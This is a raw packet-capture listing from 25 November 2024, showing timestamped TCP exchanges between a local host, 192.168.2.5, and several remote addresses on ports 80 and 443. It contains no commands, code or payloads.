Nov 25, 2024 14:14:40.791347027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.791357994 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.791466951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.791569948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.791769028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.791780949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.791894913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.792798996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.793102980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.793128014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.793829918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.793942928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.793972015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.794285059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.795082092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.795277119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.795465946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.795627117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.796005964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.796056986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.796195030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.797058105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.797350883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.797504902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.798284054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.798295975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.798465967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.799293995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.799566984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.799675941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.800266027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.800448895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.800456047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.800592899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.801493883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.801506042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.801764011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.802695990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.802927971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.803077936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.803658962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.803844929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.804017067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.804203987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.804693937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.804817915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.804847956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.805166960 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.805186987 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.805258989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.805258989 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.805273056 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.805619001 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.805624008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.805743933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.805773973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.806683064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.806799889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.806968927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.807111979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.807796001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.807991028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.808295012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.808897018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.809099913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.809128046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.809431076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.809942007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.810146093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.810987949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.811459064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.818370104 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.818384886 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.818479061 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.818479061 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.818486929 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.818594933 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.824424982 CET	443	49819	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.824606895 CET	443	49819	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.825865030 CET	49819	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.825898886 CET	49819	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.825898886 CET	49819	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.825916052 CET	443	49819	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.825926065 CET	443	49819	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.832479000 CET	49826	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.832504988 CET	443	49826	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.833086014 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.833105087 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.833199978 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.833201885 CET	49826	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.833206892 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.833283901 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.833456993 CET	49826	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.833470106 CET	443	49826	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.847970009 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.847992897 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.848119020 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.848134041 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.848340988 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.913136959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.913196087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.913223982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.913269043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.913777113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.913831949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.913863897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.913966894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.914706945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.914762974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.914839983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.914885998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.915826082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.915890932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.916059971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.916116953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.916851997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.916907072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.916976929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.917040110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.917939901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.918008089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.918135881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.918179989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.918937922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.918998957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.919472933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.919517040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.920268059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.920280933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.920316935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.920339108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.921232939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.921255112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.921305895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.922338963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.922400951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.922461033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.922559023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.923285007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.923341036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.923630953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.923926115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.924426079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.924529076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.924726009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.924885035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.925908089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.926048994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.926121950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.926172972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.928606987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.928632975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.928661108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.928679943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.930893898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.930951118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.931529045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.931586981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.931830883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.931844950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.931879044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.931899071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.932425976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.932482958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.932760000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.932801962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.933392048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.933403969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.933438063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.933454037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.934248924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.934302092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.934312105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.934341908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.935206890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.935283899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.935440063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.935528994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.936281919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.936409950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.936563015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.936605930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.937167883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.937218904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.937249899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.937292099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.938210964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.938266993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.938293934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.938332081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.939320087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.939374924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.947237015 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.947259903 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.947308064 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.947338104 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.947369099 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.947388887 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.964057922 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.964076996 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.964143038 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.964183092 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.964215040 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.964231014 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.974016905 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.974031925 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.974106073 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.974123001 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.974174023 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.980675936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.980736017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.980834961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.980875969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.981148005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.981161118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.981221914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.982162952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.982223034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.982353926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.982445955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.983490944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.983550072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.984149933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.984194040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.984334946 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.984353065 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.984451056 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.984472036 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.984496117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.984510899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.984560013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.984565973 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.985591888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.985604048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.985660076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.986660957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.986702919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.987445116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.987494946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.987860918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.987914085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.988253117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.988293886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.988981962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.989032030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.989109993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.989154100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.989798069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.990103960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.990151882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.990773916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.990834951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.991111040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.991157055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.991435051 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.991482973 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.991514921 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.991518021 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.991539001 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.991566896 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.991795063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.991808891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.991843939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.992913961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.992986917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.993040085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.993900061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.993951082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.994029999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.994079113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.995043993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.995093107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.995223999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.995276928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.996098042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.996140957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.996428013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.996474028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.997133017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.997190952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.997354984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.997409105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.998226881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.998298883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.998891115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.998975039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.999496937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.999948025 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.999964952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.999979973 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.145314932 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.145382881 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.145461082 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.188750982 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.188795090 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.253490925 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:41.253521919 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:41.253541946 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:41.253623009 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:41.253665924 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:41.253704071 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:41.253740072 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:41.255004883 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:41.261513948 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:41.261611938 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:41.261687994 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:41.264223099 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:41.264252901 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:41.303117037 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:41.338651896 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:41.338666916 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:41.338691950 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:41.338699102 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:41.338763952 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:41.338788033 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:41.338788033 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:41.338826895 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:41.339368105 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:41.339390993 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:41.399430990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.471523046 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.471606970 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.471750975 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.471793890 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.471796989 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.471865892 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.472147942 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.472156048 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.472246885 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.472377062 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.472384930 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.472455025 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.472910881 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.472934008 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.473186970 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.473743916 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.473754883 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.473859072 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.473874092 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.473953962 CET	49830	443	192.168.2.5	13.107.246.40
